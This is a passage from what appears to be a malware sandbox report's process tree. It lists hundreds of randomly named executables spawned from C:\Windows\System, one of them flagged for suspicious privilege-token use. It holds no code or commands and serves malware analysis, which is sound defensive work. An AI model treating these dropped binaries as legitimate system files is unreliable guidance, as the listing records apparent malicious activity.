  C:\Windows\System\qiSnwCn.exe
  2⤵
  PID:6656
- C:\Windows\System\xcKhxNq.exe
  C:\Windows\System\xcKhxNq.exe
  2⤵
  PID:6824
- C:\Windows\System\Gqxqrea.exe
  C:\Windows\System\Gqxqrea.exe
  2⤵
  PID:7216
- C:\Windows\System\xzWlukd.exe
  C:\Windows\System\xzWlukd.exe
  2⤵
  PID:7260
- C:\Windows\System\zCOfIUJ.exe
  C:\Windows\System\zCOfIUJ.exe
  2⤵
  PID:7312
- C:\Windows\System\LlJPwrZ.exe
  C:\Windows\System\LlJPwrZ.exe
  2⤵
  PID:7412
- C:\Windows\System\HaJIjbQ.exe
  C:\Windows\System\HaJIjbQ.exe
  2⤵
  PID:7528
- C:\Windows\System\JJLhBhS.exe
  C:\Windows\System\JJLhBhS.exe
  2⤵
  PID:7616
- C:\Windows\System\MQtPnEw.exe
  C:\Windows\System\MQtPnEw.exe
  2⤵
  PID:7688
- C:\Windows\System\olSBZBO.exe
  C:\Windows\System\olSBZBO.exe
  2⤵
  PID:7772
- C:\Windows\System\mtDYTzH.exe
  C:\Windows\System\mtDYTzH.exe
  2⤵
  PID:7820
- C:\Windows\System\rcKnqjp.exe
  C:\Windows\System\rcKnqjp.exe
  2⤵
  PID:7888
- C:\Windows\System\tfoAFIs.exe
  C:\Windows\System\tfoAFIs.exe
  2⤵
  PID:7968
- C:\Windows\System\iVaulCs.exe
  C:\Windows\System\iVaulCs.exe
  2⤵
  PID:8040
- C:\Windows\System\QaJBzhT.exe
  C:\Windows\System\QaJBzhT.exe
  2⤵
  PID:8136
- C:\Windows\System\mabrMfc.exe
  C:\Windows\System\mabrMfc.exe
  2⤵
  PID:6308
- C:\Windows\System\VtVOKUT.exe
  C:\Windows\System\VtVOKUT.exe
  2⤵
  PID:7632
- C:\Windows\System\pyordcF.exe
  C:\Windows\System\pyordcF.exe
  2⤵
  PID:7768
- C:\Windows\System\iOyfjBO.exe
  C:\Windows\System\iOyfjBO.exe
  2⤵
  PID:7912
- C:\Windows\System\RjSBNOb.exe
  C:\Windows\System\RjSBNOb.exe
  2⤵
  PID:7996
- C:\Windows\System\qRVqZAx.exe
  C:\Windows\System\qRVqZAx.exe
  2⤵
  PID:8108
- C:\Windows\System\NsHDfmx.exe
  C:\Windows\System\NsHDfmx.exe
  2⤵
  PID:7548
- C:\Windows\System\qqnzrTl.exe
  C:\Windows\System\qqnzrTl.exe
  2⤵
  PID:8216
- C:\Windows\System\xeMUkau.exe
  C:\Windows\System\xeMUkau.exe
  2⤵
  PID:8232
- C:\Windows\System\JaXUYDK.exe
  C:\Windows\System\JaXUYDK.exe
  2⤵
  PID:8256
- C:\Windows\System\xRpTuoR.exe
  C:\Windows\System\xRpTuoR.exe
  2⤵
  PID:8280
- C:\Windows\System\CrLFlZp.exe
  C:\Windows\System\CrLFlZp.exe
  2⤵
  PID:8300
- C:\Windows\System\GoudXzR.exe
  C:\Windows\System\GoudXzR.exe
  2⤵
  PID:8320
- C:\Windows\System\GNbNhTH.exe
  C:\Windows\System\GNbNhTH.exe
  2⤵
  PID:8344
- C:\Windows\System\Lyhgadv.exe
  C:\Windows\System\Lyhgadv.exe
  2⤵
  PID:8368
- C:\Windows\System\ONEFSlK.exe
  C:\Windows\System\ONEFSlK.exe
  2⤵
  PID:8392
- C:\Windows\System\CazmUFS.exe
  C:\Windows\System\CazmUFS.exe
  2⤵
  PID:8408
- C:\Windows\System\zMYPJcX.exe
  C:\Windows\System\zMYPJcX.exe
  2⤵
  PID:8432
- C:\Windows\System\EEdQjMl.exe
  C:\Windows\System\EEdQjMl.exe
  2⤵
  PID:8456
- C:\Windows\System\JFRiUjH.exe
  C:\Windows\System\JFRiUjH.exe
  2⤵
  PID:8480
- C:\Windows\System\mwsOSgE.exe
  C:\Windows\System\mwsOSgE.exe
  2⤵
  PID:8508
- C:\Windows\System\mTYNQMN.exe
  C:\Windows\System\mTYNQMN.exe
  2⤵
  PID:8528
- C:\Windows\System\mAZyCkI.exe
  C:\Windows\System\mAZyCkI.exe
  2⤵
  PID:8552
- C:\Windows\System\MLVBuHW.exe
  C:\Windows\System\MLVBuHW.exe
  2⤵
  PID:8572
- C:\Windows\System\IGKeivb.exe
  C:\Windows\System\IGKeivb.exe
  2⤵
  PID:8644
- C:\Windows\System\UlSjWoF.exe
  C:\Windows\System\UlSjWoF.exe
  2⤵
  PID:8680
- C:\Windows\System\JPFSRDq.exe
  C:\Windows\System\JPFSRDq.exe
  2⤵
  PID:8696
- C:\Windows\System\jmqAOyU.exe
  C:\Windows\System\jmqAOyU.exe
  2⤵
  PID:8728
- C:\Windows\System\liQmtxS.exe
  C:\Windows\System\liQmtxS.exe
  2⤵
  PID:8764
- C:\Windows\System\qlSSGfn.exe
  C:\Windows\System\qlSSGfn.exe
  2⤵
  PID:8788
- C:\Windows\System\IOaFbBI.exe
  C:\Windows\System\IOaFbBI.exe
  2⤵
  PID:8812
- C:\Windows\System\tjxjAvg.exe
  C:\Windows\System\tjxjAvg.exe
  2⤵
  PID:8836
- C:\Windows\System\PJODvvC.exe
  C:\Windows\System\PJODvvC.exe
  2⤵
  PID:8876
- C:\Windows\System\SDpSNAY.exe
  C:\Windows\System\SDpSNAY.exe
  2⤵
  PID:8900
- C:\Windows\System\ATyZNbj.exe
  C:\Windows\System\ATyZNbj.exe
  2⤵
  PID:8928
- C:\Windows\System\GklPxAV.exe
  C:\Windows\System\GklPxAV.exe
  2⤵
  PID:8944
- C:\Windows\System\dcJwgxU.exe
  C:\Windows\System\dcJwgxU.exe
  2⤵
  PID:8960
- C:\Windows\System\TLHlARL.exe
  C:\Windows\System\TLHlARL.exe
  2⤵
  PID:8976
- C:\Windows\System\ELiPNaq.exe
  C:\Windows\System\ELiPNaq.exe
  2⤵
  PID:8992
- C:\Windows\System\pQerfPf.exe
  C:\Windows\System\pQerfPf.exe
  2⤵
  PID:9008
- C:\Windows\System\eXMebKG.exe
  C:\Windows\System\eXMebKG.exe
  2⤵
  PID:9024
- C:\Windows\System\AsmeWbs.exe
  C:\Windows\System\AsmeWbs.exe
  2⤵
  PID:9044
- C:\Windows\System\YdwwBaq.exe
  C:\Windows\System\YdwwBaq.exe
  2⤵
  PID:9060
- C:\Windows\System\KDMsLuS.exe
  C:\Windows\System\KDMsLuS.exe
  2⤵
  PID:9084
- C:\Windows\System\yeeojkD.exe
  C:\Windows\System\yeeojkD.exe
  2⤵
  PID:9108
- C:\Windows\System\rUbvGCi.exe
  C:\Windows\System\rUbvGCi.exe
  2⤵
  PID:9128
- C:\Windows\System\TzKzpXm.exe
  C:\Windows\System\TzKzpXm.exe
  2⤵
  PID:9148
- C:\Windows\System\JNgpNJo.exe
  C:\Windows\System\JNgpNJo.exe
  2⤵
  PID:9172
- C:\Windows\System\UzPSFJf.exe
  C:\Windows\System\UzPSFJf.exe
  2⤵
  PID:9188
- C:\Windows\System\FEZqSJw.exe
  C:\Windows\System\FEZqSJw.exe
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:9212
- C:\Windows\System\ZoDIxox.exe
  C:\Windows\System\ZoDIxox.exe
  2⤵
  PID:7784
- C:\Windows\System\WdlHPtZ.exe
  C:\Windows\System\WdlHPtZ.exe
  2⤵
  PID:8088
- C:\Windows\System\GKoFUDt.exe
  C:\Windows\System\GKoFUDt.exe
  2⤵
  PID:7612
- C:\Windows\System\JiRvlBp.exe
  C:\Windows\System\JiRvlBp.exe
  2⤵
  PID:7396
- C:\Windows\System\UjGGQuS.exe
  C:\Windows\System\UjGGQuS.exe
  2⤵
  PID:8084
- C:\Windows\System\gCRqwAH.exe
  C:\Windows\System\gCRqwAH.exe
  2⤵
  PID:8228
- C:\Windows\System\esxOYsv.exe
  C:\Windows\System\esxOYsv.exe
  2⤵
  PID:8316
- C:\Windows\System\oTrNCnC.exe
  C:\Windows\System\oTrNCnC.exe
  2⤵
  PID:8548
- C:\Windows\System\xWqTWdU.exe
  C:\Windows\System\xWqTWdU.exe
  2⤵
  PID:7084
- C:\Windows\System\bBelZqf.exe
  C:\Windows\System\bBelZqf.exe
  2⤵
  PID:9228
- C:\Windows\System\XasBvXO.exe
  C:\Windows\System\XasBvXO.exe
  2⤵
  PID:9244
- C:\Windows\System\GMqvaaA.exe
  C:\Windows\System\GMqvaaA.exe
  2⤵
  PID:9260
- C:\Windows\System\oaLpvFu.exe
  C:\Windows\System\oaLpvFu.exe
  2⤵
  PID:9284
- C:\Windows\System\HPJRJPU.exe
  C:\Windows\System\HPJRJPU.exe
  2⤵
  PID:9304
- C:\Windows\System\lBEfQeT.exe
  C:\Windows\System\lBEfQeT.exe
  2⤵
  PID:9324
- C:\Windows\System\NkbDsio.exe
  C:\Windows\System\NkbDsio.exe
  2⤵
  PID:9348
- C:\Windows\System\AIjypcs.exe
  C:\Windows\System\AIjypcs.exe
  2⤵
  PID:9372
- C:\Windows\System\dhUdXRn.exe
  C:\Windows\System\dhUdXRn.exe
  2⤵
  PID:9392
- C:\Windows\System\iEPtXBC.exe
  C:\Windows\System\iEPtXBC.exe
  2⤵
  PID:9412
- C:\Windows\System\yWWiNoa.exe
  C:\Windows\System\yWWiNoa.exe
  2⤵
  PID:9436
- C:\Windows\System\oYNypCP.exe
  C:\Windows\System\oYNypCP.exe
  2⤵
  PID:9460
- C:\Windows\System\sNKtBGv.exe
  C:\Windows\System\sNKtBGv.exe
  2⤵
  PID:9476
- C:\Windows\System\AKuIAcM.exe
  C:\Windows\System\AKuIAcM.exe
  2⤵
  PID:9500
- C:\Windows\System\ksbUbHf.exe
  C:\Windows\System\ksbUbHf.exe
  2⤵
  PID:9524
- C:\Windows\System\IULQeLh.exe
  C:\Windows\System\IULQeLh.exe
  2⤵
  PID:9544
- C:\Windows\System\vDtXbbg.exe
  C:\Windows\System\vDtXbbg.exe
  2⤵
  PID:9560
- C:\Windows\System\vgHpdoC.exe
  C:\Windows\System\vgHpdoC.exe
  2⤵
  PID:9588
- C:\Windows\System\dOKTXPB.exe
  C:\Windows\System\dOKTXPB.exe
  2⤵
  PID:9616
- C:\Windows\System\SppqZQl.exe
  C:\Windows\System\SppqZQl.exe
  2⤵
  PID:9632
- C:\Windows\System\GKlMuRw.exe
  C:\Windows\System\GKlMuRw.exe
  2⤵
  PID:9656
- C:\Windows\System\KfFLKkK.exe
  C:\Windows\System\KfFLKkK.exe
  2⤵
  PID:9676
- C:\Windows\System\cpHlBqK.exe
  C:\Windows\System\cpHlBqK.exe
  2⤵
  PID:9692
- C:\Windows\System\NugRhyJ.exe
  C:\Windows\System\NugRhyJ.exe
  2⤵
  PID:9716
- C:\Windows\System\VFbkBHg.exe
  C:\Windows\System\VFbkBHg.exe
  2⤵
  PID:9732
- C:\Windows\System\AFioZCE.exe
  C:\Windows\System\AFioZCE.exe
  2⤵
  PID:9752
- C:\Windows\System\DrESVeP.exe
  C:\Windows\System\DrESVeP.exe
  2⤵
  PID:9772
- C:\Windows\System\oYqIJSC.exe
  C:\Windows\System\oYqIJSC.exe
  2⤵
  PID:9788
- C:\Windows\System\wmebKFP.exe
  C:\Windows\System\wmebKFP.exe
  2⤵
  PID:9812
- C:\Windows\System\FBbkyXQ.exe
  C:\Windows\System\FBbkyXQ.exe
  2⤵
  PID:9832
- C:\Windows\System\ZZPWyUr.exe
  C:\Windows\System\ZZPWyUr.exe
  2⤵
  PID:9852
- C:\Windows\System\IgTraLy.exe
  C:\Windows\System\IgTraLy.exe
  2⤵
  PID:9876
- C:\Windows\System\zUxzrPZ.exe
  C:\Windows\System\zUxzrPZ.exe
  2⤵
  PID:9896
- C:\Windows\System\BLvJuiR.exe
  C:\Windows\System\BLvJuiR.exe
  2⤵
  PID:9920
- C:\Windows\System\EsjXNUs.exe
  C:\Windows\System\EsjXNUs.exe
  2⤵
  PID:9944
- C:\Windows\System\SphJJpF.exe
  C:\Windows\System\SphJJpF.exe
  2⤵
  PID:9964
- C:\Windows\System\tqxVEsp.exe
  C:\Windows\System\tqxVEsp.exe
  2⤵
  PID:9988
- C:\Windows\System\seHnzcu.exe
  C:\Windows\System\seHnzcu.exe
  2⤵
  PID:10012
- C:\Windows\System\PgjWHev.exe
  C:\Windows\System\PgjWHev.exe
  2⤵
  PID:10032
- C:\Windows\System\cCsHjJG.exe
  C:\Windows\System\cCsHjJG.exe
  2⤵
  PID:10052
- C:\Windows\System\RLKmOah.exe
  C:\Windows\System\RLKmOah.exe
  2⤵
  PID:10076
- C:\Windows\System\CfxizLb.exe
  C:\Windows\System\CfxizLb.exe
  2⤵
  PID:10100
- C:\Windows\System\mIJVwuy.exe
  C:\Windows\System\mIJVwuy.exe
  2⤵
  PID:10124
- C:\Windows\System\pppxrxl.exe
  C:\Windows\System\pppxrxl.exe
  2⤵
  PID:10148
- C:\Windows\System\uePehPk.exe
  C:\Windows\System\uePehPk.exe
  2⤵
  PID:10168
- C:\Windows\System\ozZHkGA.exe
  C:\Windows\System\ozZHkGA.exe
  2⤵
  PID:10188
- C:\Windows\System\TzZvqZc.exe
  C:\Windows\System\TzZvqZc.exe
  2⤵
  PID:10212
- C:\Windows\System\CnfhJWV.exe
  C:\Windows\System\CnfhJWV.exe
  2⤵
  PID:10232
- C:\Windows\System\RVaaAze.exe
  C:\Windows\System\RVaaAze.exe
  2⤵
  PID:7660
- C:\Windows\System\qFUQFaL.exe
  C:\Windows\System\qFUQFaL.exe
  2⤵
  PID:7936
- C:\Windows\System\XrIzqdc.exe
  C:\Windows\System\XrIzqdc.exe
  2⤵
  PID:7672
- C:\Windows\System\tTovlvo.exe
  C:\Windows\System\tTovlvo.exe
  2⤵
  PID:8288
- C:\Windows\System\RLERHMa.exe
  C:\Windows\System\RLERHMa.exe
  2⤵
  PID:8352
- C:\Windows\System\bidWXMg.exe
  C:\Windows\System\bidWXMg.exe
  2⤵
  PID:8820
- C:\Windows\System\AYpjirs.exe
  C:\Windows\System\AYpjirs.exe
  2⤵
  PID:8424
- C:\Windows\System\aElzVtx.exe
  C:\Windows\System\aElzVtx.exe
  2⤵
  PID:8884
- C:\Windows\System\WaKuivu.exe
  C:\Windows\System\WaKuivu.exe
  2⤵
  PID:8544
- C:\Windows\System\VVRiVUJ.exe
  C:\Windows\System\VVRiVUJ.exe
  2⤵
  PID:8988
- C:\Windows\System\cpmoFDw.exe
  C:\Windows\System\cpmoFDw.exe
  2⤵
  PID:9096
- C:\Windows\System\kFYsKMN.exe
  C:\Windows\System\kFYsKMN.exe
  2⤵
  PID:9196
- C:\Windows\System\fIzQlbm.exe
  C:\Windows\System\fIzQlbm.exe
  2⤵
  PID:8068
- C:\Windows\System\YnwBEmg.exe
  C:\Windows\System\YnwBEmg.exe
  2⤵
  PID:7880
- C:\Windows\System\ZHyCfsQ.exe
  C:\Windows\System\ZHyCfsQ.exe
  2⤵
  PID:8212
- C:\Windows\System\XnaobGf.exe
  C:\Windows\System\XnaobGf.exe
  2⤵
  PID:8564
- C:\Windows\System\xeuTwTF.exe
  C:\Windows\System\xeuTwTF.exe
  2⤵
  PID:10260
- C:\Windows\System\SKgsMgP.exe
  C:\Windows\System\SKgsMgP.exe
  2⤵
  PID:10280
- C:\Windows\System\gZiPntN.exe
  C:\Windows\System\gZiPntN.exe
  2⤵
  PID:10316
- C:\Windows\System\lxgxaKq.exe
  C:\Windows\System\lxgxaKq.exe
  2⤵
  PID:10336
- C:\Windows\System\PzYNPyi.exe
  C:\Windows\System\PzYNPyi.exe
  2⤵
  PID:10352
- C:\Windows\System\TVmKOvh.exe
  C:\Windows\System\TVmKOvh.exe
  2⤵
  PID:10368
- C:\Windows\System\nkGzQjM.exe
  C:\Windows\System\nkGzQjM.exe
  2⤵
  PID:10384
- C:\Windows\System\RdkqoBG.exe
  C:\Windows\System\RdkqoBG.exe
  2⤵
  PID:10400
- C:\Windows\System\cZfpZBf.exe
  C:\Windows\System\cZfpZBf.exe
  2⤵
  PID:10424
- C:\Windows\System\UZfVwON.exe
  C:\Windows\System\UZfVwON.exe
  2⤵
  PID:10448
- C:\Windows\System\wGRlpio.exe
  C:\Windows\System\wGRlpio.exe
  2⤵
  PID:10468
- C:\Windows\System\eUJcOhU.exe
  C:\Windows\System\eUJcOhU.exe
  2⤵
  PID:10512
- C:\Windows\System\UaUQLyC.exe
  C:\Windows\System\UaUQLyC.exe
  2⤵
  PID:10528
- C:\Windows\System\OOVCaph.exe
  C:\Windows\System\OOVCaph.exe
  2⤵
  PID:10548
- C:\Windows\System\HgcKfPP.exe
  C:\Windows\System\HgcKfPP.exe
  2⤵
  PID:10568
- C:\Windows\System\RFwUSva.exe
  C:\Windows\System\RFwUSva.exe
  2⤵
  PID:10592
- C:\Windows\System\UVvsbPm.exe
  C:\Windows\System\UVvsbPm.exe
  2⤵
  PID:10616
- C:\Windows\System\GnXtPTs.exe
  C:\Windows\System\GnXtPTs.exe
  2⤵
  PID:10632
- C:\Windows\System\pTnICZP.exe
  C:\Windows\System\pTnICZP.exe
  2⤵
  PID:10656
- C:\Windows\System\pVmqhtC.exe
  C:\Windows\System\pVmqhtC.exe
  2⤵
  PID:10988
- C:\Windows\System\fVASCyr.exe
  C:\Windows\System\fVASCyr.exe
  2⤵
  PID:11008
- C:\Windows\System\PNMqDWx.exe
  C:\Windows\System\PNMqDWx.exe
  2⤵
  PID:11028
- C:\Windows\System\BXjFccD.exe
  C:\Windows\System\BXjFccD.exe
  2⤵
  PID:11052
- C:\Windows\System\zoGGOZF.exe
  C:\Windows\System\zoGGOZF.exe
  2⤵
  PID:11076
- C:\Windows\System\FuaswjN.exe
  C:\Windows\System\FuaswjN.exe
  2⤵
  PID:11096
- C:\Windows\System\saKSQlQ.exe
  C:\Windows\System\saKSQlQ.exe
  2⤵
  PID:11120
- C:\Windows\System\tmzaqtR.exe
  C:\Windows\System\tmzaqtR.exe
  2⤵
  PID:11136
- C:\Windows\System\XNNECMj.exe
  C:\Windows\System\XNNECMj.exe
  2⤵
  PID:11164
- C:\Windows\System\GoWRLgM.exe
  C:\Windows\System\GoWRLgM.exe
  2⤵
  PID:11184
- C:\Windows\System\ahEkTrT.exe
  C:\Windows\System\ahEkTrT.exe
  2⤵
  PID:11204
- C:\Windows\System\RVYcUTM.exe
  C:\Windows\System\RVYcUTM.exe
  2⤵
  PID:11220
- C:\Windows\System\xcLRHxD.exe
  C:\Windows\System\xcLRHxD.exe
  2⤵
  PID:11240
- C:\Windows\System\BwQkdwU.exe
  C:\Windows\System\BwQkdwU.exe
  2⤵
  PID:9292
- C:\Windows\System\SfIcujp.exe
  C:\Windows\System\SfIcujp.exe
  2⤵
  PID:7064
- C:\Windows\System\TjzhfiN.exe
  C:\Windows\System\TjzhfiN.exe
  2⤵
  PID:5976
- C:\Windows\System\nUgrRQM.exe
  C:\Windows\System\nUgrRQM.exe
  2⤵
  PID:6968
- C:\Windows\System\KDXjLxb.exe
  C:\Windows\System\KDXjLxb.exe
  2⤵
  PID:6576
- C:\Windows\System\UAJgLNs.exe
  C:\Windows\System\UAJgLNs.exe
  2⤵
  PID:6720
- C:\Windows\System\LbblZSo.exe
  C:\Windows\System\LbblZSo.exe
  2⤵
  PID:7420
- C:\Windows\System\RBpIksd.exe
  C:\Windows\System\RBpIksd.exe
  2⤵
  PID:6452
- C:\Windows\System\AbnfIPk.exe
  C:\Windows\System\AbnfIPk.exe
  2⤵
  PID:7288
- C:\Windows\System\qtcgiyP.exe
  C:\Windows\System\qtcgiyP.exe
  2⤵
  PID:7508
- C:\Windows\System\DXRQAoT.exe
  C:\Windows\System\DXRQAoT.exe
  2⤵
  PID:9484
- C:\Windows\System\VdsemUU.exe
  C:\Windows\System\VdsemUU.exe
  2⤵
  PID:8172
- C:\Windows\System\IrGFjvp.exe
  C:\Windows\System\IrGFjvp.exe
  2⤵
  PID:8336
- C:\Windows\System\eAejPFI.exe
  C:\Windows\System\eAejPFI.exe
  2⤵
  PID:8868
- C:\Windows\System\GfsOPuf.exe
  C:\Windows\System\GfsOPuf.exe
  2⤵
  PID:9748
- C:\Windows\System\FEdmwjs.exe
  C:\Windows\System\FEdmwjs.exe
  2⤵
  PID:9844
- C:\Windows\System\kZNePeS.exe
  C:\Windows\System\kZNePeS.exe
  2⤵
  PID:9932
- C:\Windows\System\LciEvNT.exe
  C:\Windows\System\LciEvNT.exe
  2⤵
  PID:9980
- C:\Windows\System\HJNWWlL.exe
  C:\Windows\System\HJNWWlL.exe
  2⤵
  PID:10072
- C:\Windows\System\UcEYumM.exe
  C:\Windows\System\UcEYumM.exe
  2⤵
  PID:10160
- C:\Windows\System\McaRAUC.exe
  C:\Windows\System\McaRAUC.exe
  2⤵
  PID:10196
- C:\Windows\System\VrlYmSZ.exe
  C:\Windows\System\VrlYmSZ.exe
  2⤵
  PID:9056
- C:\Windows\System\bQSuPJr.exe
  C:\Windows\System\bQSuPJr.exe
  2⤵
  PID:8012
- C:\Windows\System\RijrQux.exe
  C:\Windows\System\RijrQux.exe
  2⤵
  PID:8292
- C:\Windows\System\toTvFnS.exe
  C:\Windows\System\toTvFnS.exe
  2⤵
  PID:7744
- C:\Windows\System\hHhmuVy.exe
  C:\Windows\System\hHhmuVy.exe
  2⤵
  PID:9220
- C:\Windows\System\FUCdKqZ.exe
  C:\Windows\System\FUCdKqZ.exe
  2⤵
  PID:10256
- C:\Windows\System\cBzPJNT.exe
  C:\Windows\System\cBzPJNT.exe
  2⤵
  PID:9356
- C:\Windows\System\syQapSZ.exe
  C:\Windows\System\syQapSZ.exe
  2⤵
  PID:9468
- C:\Windows\System\JALqaWS.exe
  C:\Windows\System\JALqaWS.exe
  2⤵
  PID:10412
- C:\Windows\System\MIJwdVT.exe
  C:\Windows\System\MIJwdVT.exe
  2⤵
  PID:9536
- C:\Windows\System\rDkSrAy.exe
  C:\Windows\System\rDkSrAy.exe
  2⤵
  PID:8704
- C:\Windows\System\BYyDeIG.exe
  C:\Windows\System\BYyDeIG.exe
  2⤵
  PID:4912
- C:\Windows\System\OKHfNrS.exe
  C:\Windows\System\OKHfNrS.exe
  2⤵
  PID:10628
- C:\Windows\System\BNNKLNL.exe
  C:\Windows\System\BNNKLNL.exe
  2⤵
  PID:9728
- C:\Windows\System\KJJsfnZ.exe
  C:\Windows\System\KJJsfnZ.exe
  2⤵
  PID:11268
- C:\Windows\System\NqdeoWp.exe
  C:\Windows\System\NqdeoWp.exe
  2⤵
  PID:11300
- C:\Windows\System\BeICOYh.exe
  C:\Windows\System\BeICOYh.exe
  2⤵
  PID:11320
- C:\Windows\System\CJlxGvT.exe
  C:\Windows\System\CJlxGvT.exe
  2⤵
  PID:11348
- C:\Windows\System\HaAVQfe.exe
  C:\Windows\System\HaAVQfe.exe
  2⤵
  PID:11372
- C:\Windows\System\bqyYgzZ.exe
  C:\Windows\System\bqyYgzZ.exe
  2⤵
  PID:11396
- C:\Windows\System\MxlZcUF.exe
  C:\Windows\System\MxlZcUF.exe
  2⤵
  PID:11412
- C:\Windows\System\PUWNkxm.exe
  C:\Windows\System\PUWNkxm.exe
  2⤵
  PID:11452
- C:\Windows\System\gGQoMbM.exe
  C:\Windows\System\gGQoMbM.exe
  2⤵
  PID:11504
- C:\Windows\System\ZDloojO.exe
  C:\Windows\System\ZDloojO.exe
  2⤵
  PID:11528
- C:\Windows\System\AMNLCmx.exe
  C:\Windows\System\AMNLCmx.exe
  2⤵
  PID:11556
- C:\Windows\System\KQBmltF.exe
  C:\Windows\System\KQBmltF.exe
  2⤵
  PID:11572
- C:\Windows\System\DuMdRlj.exe
  C:\Windows\System\DuMdRlj.exe
  2⤵
  PID:11592
- C:\Windows\System\VPrXxie.exe
  C:\Windows\System\VPrXxie.exe
  2⤵
  PID:11612
- C:\Windows\System\SldhYuP.exe
  C:\Windows\System\SldhYuP.exe
  2⤵
  PID:11632
- C:\Windows\System\WDfFoDW.exe
  C:\Windows\System\WDfFoDW.exe
  2⤵
  PID:11664
- C:\Windows\System\DaUlrOm.exe
  C:\Windows\System\DaUlrOm.exe
  2⤵
  PID:11796
- C:\Windows\System\foOEqcj.exe
  C:\Windows\System\foOEqcj.exe
  2⤵
  PID:11812
- C:\Windows\System\vQDPpbf.exe
  C:\Windows\System\vQDPpbf.exe
  2⤵
  PID:11828
- C:\Windows\System\qDwLfxk.exe
  C:\Windows\System\qDwLfxk.exe
  2⤵
  PID:11856
- C:\Windows\System\vozEPdt.exe
  C:\Windows\System\vozEPdt.exe
  2⤵
  PID:11876
- C:\Windows\System\QAxKBxU.exe
  C:\Windows\System\QAxKBxU.exe
  2⤵
  PID:11896
- C:\Windows\System\NpGFqJG.exe
  C:\Windows\System\NpGFqJG.exe
  2⤵
  PID:11916
- C:\Windows\System\gfgfaMn.exe
  C:\Windows\System\gfgfaMn.exe
  2⤵
  PID:11936
- C:\Windows\System\QjInklC.exe
  C:\Windows\System\QjInklC.exe
  2⤵
  PID:11956
- C:\Windows\System\GagPDBa.exe
  C:\Windows\System\GagPDBa.exe
  2⤵
  PID:11976
- C:\Windows\System\TTGaCJl.exe
  C:\Windows\System\TTGaCJl.exe
  2⤵
  PID:11996
- C:\Windows\System\QrxPTWv.exe
  C:\Windows\System\QrxPTWv.exe
  2⤵
  PID:12016
- C:\Windows\System\gMDDDkp.exe
  C:\Windows\System\gMDDDkp.exe
  2⤵
  PID:12036
- C:\Windows\System\QMFoacH.exe
  C:\Windows\System\QMFoacH.exe
  2⤵
  PID:12056
- C:\Windows\System\VmgHLiW.exe
  C:\Windows\System\VmgHLiW.exe
  2⤵
  PID:12076
- C:\Windows\System\IwdiZon.exe
  C:\Windows\System\IwdiZon.exe
  2⤵
  PID:12096
- C:\Windows\System\MNEyXXD.exe
  C:\Windows\System\MNEyXXD.exe
  2⤵
  PID:12120
- C:\Windows\System\wsghfMK.exe
  C:\Windows\System\wsghfMK.exe
  2⤵
  PID:12140
- C:\Windows\System\ogIcWpG.exe
  C:\Windows\System\ogIcWpG.exe
  2⤵
  PID:12160
- C:\Windows\System\wmvauek.exe
  C:\Windows\System\wmvauek.exe
  2⤵
  PID:12184
- C:\Windows\System\wvVCpxJ.exe
  C:\Windows\System\wvVCpxJ.exe
  2⤵
  PID:12204
- C:\Windows\System\aBZPMfK.exe
  C:\Windows\System\aBZPMfK.exe
  2⤵
  PID:12224
- C:\Windows\System\SDyTAzE.exe
  C:\Windows\System\SDyTAzE.exe
  2⤵
  PID:12244
- C:\Windows\System\BuwYbnT.exe
  C:\Windows\System\BuwYbnT.exe
  2⤵
  PID:12268
- C:\Windows\System\YFxpbRI.exe
  C:\Windows\System\YFxpbRI.exe
  2⤵
  PID:12284
- C:\Windows\System\czcschv.exe
  C:\Windows\System\czcschv.exe
  2⤵
  PID:9872
- C:\Windows\System\sHYoLYL.exe
  C:\Windows\System\sHYoLYL.exe
  2⤵
  PID:10808
- C:\Windows\System\krjnmax.exe
  C:\Windows\System\krjnmax.exe
  2⤵
  PID:10048
- C:\Windows\System\ykSWnhM.exe
  C:\Windows\System\ykSWnhM.exe
  2⤵
  PID:7192
- C:\Windows\System\nSdUIhM.exe
  C:\Windows\System\nSdUIhM.exe
  2⤵
  PID:7928
- C:\Windows\System\maNcMGY.exe
  C:\Windows\System\maNcMGY.exe
  2⤵
  PID:10956
- C:\Windows\System\uzsWqee.exe
  C:\Windows\System\uzsWqee.exe
  2⤵
  PID:9080
- C:\Windows\System\mWsAdMz.exe
  C:\Windows\System\mWsAdMz.exe
  2⤵
  PID:8404
- C:\Windows\System\opMGWIK.exe
  C:\Windows\System\opMGWIK.exe
  2⤵
  PID:11044
- C:\Windows\System\TZAorDs.exe
  C:\Windows\System\TZAorDs.exe
  2⤵
  PID:11064
- C:\Windows\System\tmXEpZt.exe
  C:\Windows\System\tmXEpZt.exe
  2⤵
  PID:9236
- C:\Windows\System\ZQzmbNy.exe
  C:\Windows\System\ZQzmbNy.exe
  2⤵
  PID:9300
- C:\Windows\System\tPZaHHA.exe
  C:\Windows\System\tPZaHHA.exe
  2⤵
  PID:9380
- C:\Windows\System\AUseuEI.exe
  C:\Windows\System\AUseuEI.exe
  2⤵
  PID:9432
- C:\Windows\System\LhllGPS.exe
  C:\Windows\System\LhllGPS.exe
  2⤵
  PID:10396
- C:\Windows\System\wtjIaKT.exe
  C:\Windows\System\wtjIaKT.exe
  2⤵
  PID:9556
- C:\Windows\System\brvkNjx.exe
  C:\Windows\System\brvkNjx.exe
  2⤵
  PID:9580
- C:\Windows\System\RmvFGyo.exe
  C:\Windows\System\RmvFGyo.exe
  2⤵
  PID:9628
- C:\Windows\System\YKJFmpi.exe
  C:\Windows\System\YKJFmpi.exe
  2⤵
  PID:5700
- C:\Windows\System\IOAgzLK.exe
  C:\Windows\System\IOAgzLK.exe
  2⤵
  PID:8748
- C:\Windows\System\KEuedbK.exe
  C:\Windows\System\KEuedbK.exe
  2⤵
  PID:9000
- C:\Windows\System\roUuNyh.exe
  C:\Windows\System\roUuNyh.exe
  2⤵
  PID:12300
- C:\Windows\System\WwXyqrp.exe
  C:\Windows\System\WwXyqrp.exe
  2⤵
  PID:12320
- C:\Windows\System\bWvpWLO.exe
  C:\Windows\System\bWvpWLO.exe
  2⤵
  PID:12348
- C:\Windows\System\cQFiKnA.exe
  C:\Windows\System\cQFiKnA.exe
  2⤵
  PID:12368
- C:\Windows\System\vUDVDnL.exe
  C:\Windows\System\vUDVDnL.exe
  2⤵
  PID:12388
- C:\Windows\System\kbuRFuE.exe
  C:\Windows\System\kbuRFuE.exe
  2⤵
  PID:12408
- C:\Windows\System\vmThKOm.exe
  C:\Windows\System\vmThKOm.exe
  2⤵
  PID:12436
- C:\Windows\System\RAOclxC.exe
  C:\Windows\System\RAOclxC.exe
  2⤵
  PID:12456
- C:\Windows\System\lrSZRrW.exe
  C:\Windows\System\lrSZRrW.exe
